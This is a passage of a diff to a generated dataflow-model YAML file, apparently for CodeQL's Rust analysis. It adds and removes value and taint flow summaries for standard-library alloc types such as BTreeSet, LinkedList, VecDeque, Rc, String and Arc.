"ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::collections::btree::node::Handle::node]", "value", "dfc-generated"] @@ -238,7 +255,7 @@ extensions: - ["lang:alloc", "::search_node", "Argument[self]", "ReturnValue.Field[crate::collections::btree::search::SearchResult::GoDown(0)].Field[crate::collections::btree::node::Handle::node]", "value", "dfc-generated"] - ["lang:alloc", "::search_tree_for_bifurcation", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]", "value", "dfc-generated"] - ["lang:alloc", "::visit_nodes_in_order", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::forget_node_type", "Argument[self].Field[crate::collections::btree::node::SplitResult::kv]", "ReturnValue.Field[crate::collections::btree::node::SplitResult::kv]", "value", "dfc-generated"] + - ["lang:alloc", "::forget_node_type", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::from_range", "Argument[0].Field[crate::ops::range::Bound::Excluded(0)]", "ReturnValue.Field[crate::collections::btree::search::SearchBound::Excluded(0)]", "value", "dfc-generated"] - ["lang:alloc", "::from_range", "Argument[0].Field[crate::ops::range::Bound::Included(0)]", "ReturnValue.Field[crate::collections::btree::search::SearchBound::Included(0)]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::set::BTreeSet::map].Reference", "ReturnValue.Field[crate::collections::btree::set::BTreeSet::map]", "value", "dfc-generated"] @@ -247,16 +264,28 @@ extensions: - ["lang:alloc", "::clone_from", "Argument[0].Field[crate::collections::btree::set::BTreeSet::map]", "Argument[self].Field[crate::collections::btree::set::BTreeSet::map]", "value", "dfc-generated"] - ["lang:alloc", "::difference", "Argument[0]", "ReturnValue.Field[crate::collections::btree::set::Difference::inner].Field[crate::collections::btree::set::DifferenceInner::Search::other_set]", "value", "dfc-generated"] - ["lang:alloc", "::extract_if", "Argument[0]", "ReturnValue.Field[crate::collections::btree::set::ExtractIf::pred]", "value", "dfc-generated"] + - ["lang:alloc", "::get_or_insert_with", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:alloc", "::intersection", "Argument[0]", "ReturnValue.Field[crate::collections::btree::set::Intersection::inner].Field[crate::collections::btree::set::IntersectionInner::Search::large_set]", "value", "dfc-generated"] - ["lang:alloc", "::intersection", "Argument[self]", "ReturnValue.Field[crate::collections::btree::set::Intersection::inner].Field[crate::collections::btree::set::IntersectionInner::Search::large_set]", "value", "dfc-generated"] + - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::btree::set::BTreeSet::map].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::split_off", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::with_mutable_key", "Argument[self].Field[crate::collections::btree::set::CursorMut::inner].Field[crate::collections::btree::map::CursorMut::inner]", "ReturnValue.Field[crate::collections::btree::set::CursorMutKey::inner]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::btree::set::IntoIter::iter].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::set::IntoIter::iter].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::set::IntoIter::iter].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::set::Iter::iter].Field[crate::collections::btree::map::Keys::inner]", "ReturnValue.Field[crate::collections::btree::set::Iter::iter].Field[crate::collections::btree::map::Keys::inner]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::set::Iter::iter].Reference", "ReturnValue.Field[crate::collections::btree::set::Iter::iter]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::set::Iter::iter]", "ReturnValue.Field[crate::collections::btree::set::Iter::iter]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::set::Range::iter].Field[crate::collections::btree::map::Range::inner]", "ReturnValue.Field[crate::collections::btree::set::Range::iter].Field[crate::collections::btree::map::Range::inner]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::set::Range::iter].Reference", "ReturnValue.Field[crate::collections::btree::set::Range::iter]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::set::Range::iter]", "ReturnValue.Field[crate::collections::btree::set::Range::iter]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::insert", "Argument[self].Field[crate::collections::btree::set::entry::Entry::Occupied(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::get", "Argument[self].Field[crate::collections::btree::set::entry::VacantEntry::inner].Field[crate::collections::btree::map::entry::VacantEntry::key]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::into_value", "Argument[self].Field[crate::collections::btree::set::entry::VacantEntry::inner].Field[crate::collections::btree::map::entry::VacantEntry::key]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Reference.Field[crate::collections::linked_list::Cursor::current]", "ReturnValue.Field[crate::collections::linked_list::Cursor::current]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Reference.Field[crate::collections::linked_list::Cursor::index]", "ReturnValue.Field[crate::collections::linked_list::Cursor::index]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Reference.Field[crate::collections::linked_list::Cursor::list]", "ReturnValue.Field[crate::collections::linked_list::Cursor::list]", "value", "dfc-generated"] @@ -265,6 +294,7 @@ extensions: - ["lang:alloc", "::index", "Argument[self].Field[crate::collections::linked_list::Cursor::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::index", "Argument[self].Field[crate::collections::linked_list::Cursor::index]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:alloc", "::move_next", "Argument[self].Field[crate::collections::linked_list::Cursor::list].Field[crate::collections::linked_list::LinkedList::head]", "Argument[self].Field[crate::collections::linked_list::Cursor::current]", "value", "dfc-generated"] + - ["lang:alloc", "::move_prev", "Argument[self].Field[crate::collections::linked_list::Cursor::list].Field[crate::collections::linked_list::LinkedList::len]", "Argument[self].Field[crate::collections::linked_list::Cursor::index]", "value", "dfc-generated"] - ["lang:alloc", "::move_prev", "Argument[self].Field[crate::collections::linked_list::Cursor::list].Field[crate::collections::linked_list::LinkedList::tail]", "Argument[self].Field[crate::collections::linked_list::Cursor::current]", "value", "dfc-generated"] - ["lang:alloc", "::as_cursor", "Argument[self].Field[crate::collections::linked_list::CursorMut::current]", "ReturnValue.Field[crate::collections::linked_list::Cursor::current]", "value", "dfc-generated"] - ["lang:alloc", "::as_cursor", "Argument[self].Field[crate::collections::linked_list::CursorMut::index]", "ReturnValue.Field[crate::collections::linked_list::Cursor::index]", "value", "dfc-generated"] @@ -275,13 +305,16 @@ extensions: - ["lang:alloc", "::index", "Argument[self].Field[crate::collections::linked_list::CursorMut::index]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:alloc", "::insert_after", "Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::len]", "Argument[self].Field[crate::collections::linked_list::CursorMut::index]", "value", "dfc-generated"] - ["lang:alloc", "::move_next", "Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::head]", "Argument[self].Field[crate::collections::linked_list::CursorMut::current]", "value", "dfc-generated"] + - ["lang:alloc", "::move_prev", "Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::len]", "Argument[self].Field[crate::collections::linked_list::CursorMut::index]", "value", "dfc-generated"] - ["lang:alloc", "::move_prev", "Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::tail]", "Argument[self].Field[crate::collections::linked_list::CursorMut::current]", "value", "dfc-generated"] - ["lang:alloc", "::remove_current", "Argument[self].Field[crate::collections::linked_list::CursorMut::current].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::remove_current", "Argument[self].Field[crate::collections::linked_list::CursorMut::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::remove_current_as_list", "Argument[self].Field[crate::collections::linked_list::CursorMut::current].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::remove_current_as_list", "Argument[self].Field[crate::collections::linked_list::CursorMut::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::remove_current_as_list", "Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::alloc]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::collections::linked_list::LinkedList::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::splice_after", "Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::len]", "Argument[self].Field[crate::collections::linked_list::CursorMut::index]", "value", "dfc-generated"] + - ["lang:alloc", "::split_after", "Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::tail]", "ReturnValue.Field[crate::collections::linked_list::LinkedList::tail]", "value", "dfc-generated"] + - ["lang:alloc", "::split_before", "Argument[self].Field[crate::collections::linked_list::CursorMut::index]", "ReturnValue.Field[crate::collections::linked_list::LinkedList::len]", "value", "dfc-generated"] + - ["lang:alloc", "::split_before", "Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::head]", "ReturnValue.Field[crate::collections::linked_list::LinkedList::head]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::linked_list::IntoIter::list].Field[crate::collections::linked_list::LinkedList::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::linked_list::IntoIter::list].Field[crate::collections::linked_list::LinkedList::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] @@ -289,9 +322,7 @@ extensions: - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::linked_list::Iter::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::linked_list::IterMut::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::linked_list::IterMut::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:alloc", "::spec_extend", "Argument[0]", "Argument[self]", "taint", "df-generated"] - - ["lang:alloc", "::append", "Argument[0].Field[crate::collections::linked_list::LinkedList::tail].Reference", "Argument[self].Field[crate::collections::linked_list::LinkedList::tail]", "value", "dfc-generated"] - - ["lang:alloc", "::append", "Argument[0].Field[crate::collections::linked_list::LinkedList::tail]", "Argument[self].Field[crate::collections::linked_list::LinkedList::tail]", "value", "dfc-generated"] + - ["lang:alloc", "::clone_from", "Argument[0].Field[crate::collections::linked_list::LinkedList::len]", "Argument[self].Field[crate::collections::linked_list::LinkedList::len]", "value", "dfc-generated"] - ["lang:alloc", "::cursor_back", "Argument[self].Field[crate::collections::linked_list::LinkedList::tail]", "ReturnValue.Field[crate::collections::linked_list::Cursor::current]", "value", "dfc-generated"] - ["lang:alloc", "::cursor_back", "Argument[self]", "ReturnValue.Field[crate::collections::linked_list::Cursor::list]", "value", "dfc-generated"] - ["lang:alloc", "::cursor_back_mut", "Argument[self].Field[crate::collections::linked_list::LinkedList::tail]", "ReturnValue.Field[crate::collections::linked_list::CursorMut::current]", "value", "dfc-generated"] @@ -312,21 +343,30 @@ extensions: - ["lang:alloc", "::iter_mut", "Argument[self].Field[crate::collections::linked_list::LinkedList::tail]", "ReturnValue.Field[crate::collections::linked_list::IterMut::tail]", "value", "dfc-generated"] - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::linked_list::LinkedList::len]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::new_in", "Argument[0]", "ReturnValue.Field[crate::collections::linked_list::LinkedList::alloc]", "value", "dfc-generated"] - - ["lang:alloc", "::split_off", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:alloc", "::drain", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::split_off", "Argument[0]", "Argument[self].Field[crate::collections::linked_list::LinkedList::len]", "value", "dfc-generated"] + - ["lang:alloc", "::split_off", "Argument[self].Field[crate::collections::linked_list::LinkedList::alloc].Reference", "ReturnValue.Field[crate::collections::linked_list::LinkedList::alloc]", "value", "dfc-generated"] + - ["lang:alloc", "::split_off", "Argument[self].Field[crate::collections::linked_list::LinkedList::tail]", "ReturnValue.Field[crate::collections::linked_list::LinkedList::tail]", "value", "dfc-generated"] + - ["lang:alloc", "::spec_from_iter", "Argument[0].Field[crate::collections::vec_deque::into_iter::IntoIter::inner]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::drain", "Argument[self].Field[crate::ptr::unique::Unique::pointer]", "ReturnValue.Field[crate::collections::vec_deque::drain::Drain::deque]", "value", "dfc-generated"] - ["lang:alloc", "::from_contiguous_raw_parts_in", "Argument[1].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::collections::vec_deque::VecDeque::head]", "value", "dfc-generated"] - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::vec_deque::VecDeque::len]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::resize", "Argument[0]", "Argument[self].Field[crate::collections::vec_deque::VecDeque::len]", "value", "dfc-generated"] + - ["lang:alloc", "::resize_with", "Argument[0]", "Argument[self].Field[crate::collections::vec_deque::VecDeque::len]", "value", "dfc-generated"] + - ["lang:alloc", "::retain", "Argument[self].Element", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] - ["lang:alloc", "::retain_mut", "Argument[self].Element", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] + - ["lang:alloc", "::shrink_to", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:alloc", "::split_off", "Argument[0]", "Argument[self].Field[crate::collections::vec_deque::VecDeque::len]", "value", "dfc-generated"] - ["lang:alloc", "::truncate", "Argument[0]", "Argument[self].Field[crate::collections::vec_deque::VecDeque::len]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::vec_deque::drain::Drain::remaining]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::vec_deque::drain::Drain::remaining]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:alloc", "::new", "Argument[1]", "Argument[0].Field[crate::collections::vec_deque::VecDeque::len]", "value", "dfc-generated"] + - ["lang:alloc", "::new", "Argument[0].Field[crate::ptr::unique::Unique::pointer]", "ReturnValue.Field[crate::collections::vec_deque::drain::Drain::deque]", "value", "dfc-generated"] - ["lang:alloc", "::new", "Argument[1]", "ReturnValue.Field[crate::collections::vec_deque::drain::Drain::idx]", "value", "dfc-generated"] - ["lang:alloc", "::new", "Argument[2]", "ReturnValue.Field[crate::collections::vec_deque::drain::Drain::drain_len]", "value", "dfc-generated"] - ["lang:alloc", "::new", "Argument[2]", "ReturnValue.Field[crate::collections::vec_deque::drain::Drain::remaining]", "value", "dfc-generated"] + - ["lang:alloc", "::advance_back_by", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:alloc", "::count", "Argument[self].Field[crate::collections::vec_deque::into_iter::IntoIter::inner].Field[crate::collections::vec_deque::VecDeque::len]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::fold", "Argument[0].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::vec_deque::into_iter::IntoIter::inner].Field[crate::collections::vec_deque::VecDeque::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::vec_deque::into_iter::IntoIter::inner].Field[crate::collections::vec_deque::VecDeque::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:alloc", "::into_vecdeque", "Argument[self].Field[crate::collections::vec_deque::into_iter::IntoIter::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::new", "Argument[0]", "ReturnValue.Field[crate::collections::vec_deque::into_iter::IntoIter::inner]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -347,8 +387,10 @@ extensions: - ["lang:alloc", "::try_fold", "Argument[0].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::new", "Argument[0]", "ReturnValue.Field[crate::collections::vec_deque::iter_mut::IterMut::i1]", "value", "dfc-generated"] - ["lang:alloc", "::new", "Argument[1]", "ReturnValue.Field[crate::collections::vec_deque::iter_mut::IterMut::i2]", "value", "dfc-generated"] + - ["lang:alloc", "::into_c_string", "Argument[self].Field[crate::borrow::Cow::Owned(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::borrow", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0].Field[crate::borrow::Cow::Owned(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::index", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::as_bytes_with_nul", "Argument[self].Field[crate::ffi::c_str::CString::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::as_c_str", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] @@ -356,6 +398,7 @@ extensions: - ["lang:alloc", "::as_bytes", "Argument[self].Field[crate::ffi::c_str::FromVecWithNulError::bytes].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::into_bytes", "Argument[self].Field[crate::ffi::c_str::FromVecWithNulError::bytes]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::source", "Argument[self].Field[crate::ffi::c_str::IntoStringError::error]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["lang:alloc", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::into_cstring", "Argument[self].Field[crate::ffi::c_str::IntoStringError::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::utf8_error", "Argument[self].Field[crate::ffi::c_str::IntoStringError::error]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::into_vec", "Argument[self].Field[1]", "ReturnValue", "value", "dfc-generated"] @@ -363,7 +406,10 @@ extensions: - ["lang:alloc", "::nul_position", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::nul_position", "Argument[self].Field[crate::ffi::c_str::NulError(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::spec_to_string", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::from", "Argument[0]", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::allocator", "Argument[self].Field[crate::raw_vec::RawVec::inner].Field[crate::raw_vec::RawVecInner::alloc]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::from_nonnull_in", "Argument[2]", "ReturnValue.Field[crate::raw_vec::RawVec::inner].Field[crate::raw_vec::RawVecInner::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::from_raw_parts_in", "Argument[2]", "ReturnValue.Field[crate::raw_vec::RawVec::inner].Field[crate::raw_vec::RawVecInner::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::new_in", "Argument[0]", "ReturnValue.Field[crate::raw_vec::RawVec::inner].Field[crate::raw_vec::RawVecInner::alloc]", "value", "dfc-generated"] @@ -375,7 +421,6 @@ extensions: - ["lang:alloc", "::allocator", "Argument[0].Field[crate::rc::Rc::alloc]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::downcast", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::rc::Rc::alloc].Reference", "ReturnValue.Field[crate::rc::Weak::alloc]", "value", "dfc-generated"] - - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::rc::Rc::alloc]", "ReturnValue.Field[crate::rc::Weak::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::rc::Rc::ptr]", "ReturnValue.Field[crate::rc::Weak::ptr]", "value", "dfc-generated"] - ["lang:alloc", "::new_uninit_in", "Argument[0]", "ReturnValue.Field[crate::rc::Rc::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::new_uninit_slice_in", "Argument[1]", "ReturnValue.Field[crate::rc::Rc::alloc]", "value", "dfc-generated"] @@ -385,23 +430,26 @@ extensions: - ["lang:alloc", "::try_new_zeroed_in", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::rc::Rc::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::try_unwrap", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:alloc", "::unwrap_or_clone", "Argument[0].Reference.Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::unwrap_or_clone", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::strong_ref", "Argument[self].Field[crate::rc::RcInner::strong]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::weak_ref", "Argument[self].Field[crate::rc::RcInner::weak]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::borrow", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::borrow_mut", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::as_mut", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::as_ref", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:alloc", "::downgrade", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::rc::UniqueRc::alloc].Reference", "ReturnValue.Field[crate::rc::Weak::alloc]", "value", "dfc-generated"] + - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::rc::UniqueRc::alloc]", "ReturnValue.Field[crate::rc::Weak::alloc]", "value", "dfc-generated"] + - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::rc::UniqueRc::ptr]", "ReturnValue.Field[crate::rc::Weak::ptr]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::rc::Weak::alloc].Reference", "ReturnValue.Field[crate::rc::Weak::alloc]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::rc::Weak::alloc]", "ReturnValue.Field[crate::rc::Weak::alloc]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::rc::Weak::ptr]", "ReturnValue.Field[crate::rc::Weak::ptr]", "value", "dfc-generated"] - ["lang:alloc", "::allocator", "Argument[self].Field[crate::rc::Weak::alloc]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::from_raw_in", "Argument[1]", "ReturnValue.Field[crate::rc::Weak::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::new_in", "Argument[0]", "ReturnValue.Field[crate::rc::Weak::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::upgrade", "Argument[self].Field[crate::rc::Weak::alloc].Reference", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::rc::Rc::alloc]", "value", "dfc-generated"] - - ["lang:alloc", "::upgrade", "Argument[self].Field[crate::rc::Weak::alloc]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::rc::Rc::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::upgrade", "Argument[self].Field[crate::rc::Weak::ptr]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::rc::Rc::ptr]", "value", "dfc-generated"] - ["lang:alloc", "::strong_ref", "Argument[self].Field[crate::rc::WeakInner::strong]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::weak_ref", "Argument[self].Field[crate::rc::WeakInner::weak]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::as_bytes", "Argument[self].Field[crate::string::FromUtf8Error::bytes].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::into_bytes", "Argument[self].Field[crate::string::FromUtf8Error::bytes]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::utf8_error", "Argument[self].Field[crate::string::FromUtf8Error::error]", "ReturnValue", "value", "dfc-generated"] @@ -412,6 +460,10 @@ extensions: - ["lang:alloc", "::clone", "Argument[self].Field[crate::string::String::vec]", "ReturnValue.Field[crate::string::String::vec]", "value", "dfc-generated"] - ["lang:alloc", "::as_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0].Field[crate::borrow::Cow::Owned(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0].Field[crate::string::String::vec].Reference", "ReturnValue.Field[crate::string::String::vec]", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0].Field[crate::string::String::vec]", "ReturnValue.Field[crate::string::String::vec]", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::add", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -424,13 +476,16 @@ extensions: - ["lang:alloc", "::from_utf8_lossy_owned", "Argument[0]", "ReturnValue.Field[crate::string::String::vec]", "value", "dfc-generated"] - ["lang:alloc", "::from_utf8_unchecked", "Argument[0]", "ReturnValue.Field[crate::string::String::vec]", "value", "dfc-generated"] - ["lang:alloc", "::into_bytes", "Argument[self].Field[crate::string::String::vec]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::len", "Argument[self].Field[crate::string::String::vec].Field[crate::vec::Vec::len]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::remove", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["lang:alloc", "::split_off", "Argument[0]", "Argument[self].Field[crate::string::String::vec].Field[crate::vec::Vec::len]", "value", "dfc-generated"] + - ["lang:alloc", "::truncate", "Argument[0]", "Argument[self].Field[crate::string::String::vec].Field[crate::vec::Vec::len]", "value", "dfc-generated"] - ["lang:alloc", "::borrow", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::as_ref", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::try_from", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:alloc", "::allocator", "Argument[0].Field[crate::sync::Arc::alloc]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::downcast", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::sync::Arc::alloc].Reference", "ReturnValue.Field[crate::sync::Weak::alloc]", "value", "dfc-generated"] - - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::sync::Arc::alloc]", "ReturnValue.Field[crate::sync::Weak::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::downgrade", "Argument[0].Field[crate::sync::Arc::ptr]", "ReturnValue.Field[crate::sync::Weak::ptr]", "value", "dfc-generated"] - ["lang:alloc", "::new_uninit_in", "Argument[0]", "ReturnValue.Field[crate::sync::Arc::alloc]", "value", 